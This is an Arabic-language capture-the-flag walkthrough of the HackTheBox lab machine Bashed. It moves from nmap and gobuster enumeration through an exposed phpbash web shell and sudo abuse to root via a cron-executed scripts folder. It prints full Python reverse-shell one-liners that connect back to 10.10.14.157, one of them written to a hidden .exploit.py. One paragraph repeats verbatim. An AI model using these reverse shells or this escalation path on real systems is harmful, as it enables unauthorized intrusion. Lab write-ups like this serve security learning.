حل مشين Bashed من Hackthebox
مشين Bashed من hackthebox هي مشين سهلى تعمل بنظام لينكس. تم انشائها من قبل Arrexel.
طور الـ USER
في البداية قمت بفحص المشين باداة nmap لكي ارى ماهي المنافذ المفتوحة. وجدت بورت واحد مفتوح وهو بورت 80:
root@kali# nmap -sV -sC -oA nmap/initial 10.10.10.68 Starting Nmap 7.60 ( https://nmap.org ) at 2018-03-06 20:40 EST Nmap scan report for 10.10.10.68 Host is up (0.098s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 80/tcp open http? Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 31.85 seconds
بعد فتح الموقع في المتصفح وجدت موقع بلوج يحتوي على منشور واحد يتكلم حول phpbash
قررت تشغيل اداة gobuster لارى ماهي المجلدات والملفات المخفية
root@kali# gobuster -u http://10.10.10.68 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt Gobuster v1.4.1 OJ Reeves (@TheColonial) ===================================================== ===================================================== [+] Mode : dir [+] Url/Domain : http://10.10.10.68/ [+] Threads : 10 [+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt [+] Status codes : 200,204,301,302,307 ===================================================== /images (Status: 301) /uploads (Status: 301) /php (Status: 301) /css (Status: 301) /dev (Status: 301) /js (Status: 301) /fonts (Status: 301)
المجلد dev/ مثير للاهتمام . بعد فتحه في المتصفح وجدت انه يسمح التنقل
الضغط على ملف phpbash.php يعطينا شيل بصلاحيات www-data
ساتوجه الى المسار /home/arrexel والحصول على ملف user.txt
www-data@bashed:/home/arrexel# ls user.txt www-data@bashed:/home/arrexel# wc -c user.txt 33 user.txt
ترقية الشيل
في نافذة شيل phpshell نفذ الامر التالي للحصول على شيل نظامي
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.157",1235));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
في نظام الكالي
root@kali# nc -lnvp 1235 listening on [any] 1235 ... connect to [10.10.14.157] from (UNKNOWN) [10.10.10.68] 49932 /bin/sh: 0: can't access tty; job control turned off $ python -c 'import pty; pty.spawn("/bin/bash")' www-data@bashed:/var/www/html/dev$
طور الـ ROOT
قم بتشغيل اداة LinEnum.sh لكي تحصل على معلومات حول رفع الصلاحيات
www-data can sudo as scriptmanager: We can sudo without supplying a password! Matching Defaults entries for www-data on bashed: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User www-data may run the following commands on bashed: (scriptmanager : scriptmanager) NOPASSWD: ALL
القسم الذي اثار فضولي هو scriptmanager . لرفع الصلاحية يمكن استخدام الامر التالي
sudo -u scriptmanager /bin/bash
بعد رفع الصلاحية . الان لدينا صلاحية زيارة المسار scripts/ الذي لم يكن المستخدم www-data صلاحية الدخول اليه
$ ls -ld /scripts
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Dec 4 18:06 /scripts
يوجد ملفان في هذا المجلد
scriptmanager@bashed:/scripts$ ls -l total 8 -rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 17:03 test.py -rw-r--r-- 1 root root 12 Mar 7 04:09 test.txt scriptmanager@bashed:/scripts$ cat test.py f = open("test.txt", "w") f.write("testing 123!") f.close scriptmanager@bashed:/scripts$ cat test.txt testing 123!
المثير في الموضوع ان ملف test.txt هو مملوك لليوزر root , ويبدو ان هذا الملف هو نتيجة تشغيل ملف test.py . ملف test.py هو قابل للكتابة من قبل المستخدم scriptmanager.
حاولت تغيير اسم الملف test.txt الى test.txt.old ولكن الملف تم انشاءه مرة اخرى
scriptmanager@bashed:/scripts$ date Wed Mar 7 05:37:32 PST 2018 scriptmanager@bashed:/scripts$ ls test.py test.txt.old test2.py test3.py testt.py scriptmanager@bashed:/scripts$ date Wed Mar 7 05:39:14 PST 2018 scriptmanager@bashed:/scripts$ ls test.py test.txt test.txt.old test2.py test3.py testt.py
يبدو ان هناك شي معين في النظام يقوم بتشغيل اي ملف يحمل الامتداد py من داخل مجلد scripts/. بما ان ملف test.py لايحتوي على على السطر #! . فقد يكون هناك عملية cron تستدعي ملفات py باسخدام الامر python .
من الممكن كتابة سكربت يقوم بقراءة ملف root/root.txt/ وتخزينه في مكان آخر .
scriptmanager@bashed:/scripts$ ls -l total 8 -rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 17:03 test.py -rw-r--r-- 1 root root 12 Mar 7 04:09 test.txt scriptmanager@bashed:/scripts$ cat test.py f = open("test.txt", "w") f.write("testing 123!") f.close scriptmanager@bashed:/scripts$ cat test.txt testing 123!
يبدو ان هناك شي معين في النظام يقوم بتشغيل اي ملف يحمل الامتداد py من داخل مجلد scripts/. بما ان ملف test.py لايحتوي على على السطر #! . فقد يكون هناك عملية cron تستدعي ملفات py باسخدام الامر python .
من الممكن كتابة سكربت يقوم بقراءة ملف root/root.txt/ وتخزينه في مكان آخر .
ولكن الافضل ان نحصل على شيل بصلاحية الروت
scriptmanager@bashed:/scripts$ echo "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.157\",31337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);" > .exploit.py
في نظام كالي ساقوم بتشغيل اداة nc والتصنت على بورت 31337 والحصول على شيل بصلاحية الروت
root@kali# nc -lnvp 31337 listening on [any] 31337 ... connect to [10.10.14.157] from (UNKNOWN) [10.10.10.68] 47806 /bin/sh: 0: can't access tty; job control turned off # id uid=0(root) gid=0(root) groups=0(root) # python -c 'import pty; pty.spawn("/bin/bash")' root@bashed:/scripts# crontab -l * * * * * cd /scripts; for f in *.py; do python "$f"; done root@bashed:/scripts# wc -l /root/root.txt 33 /root/root.txt
كما هو متوقع . هناك خدمة cron تقوم بتشغيل السكربتات بصلاحية روت من المسار scripts/ .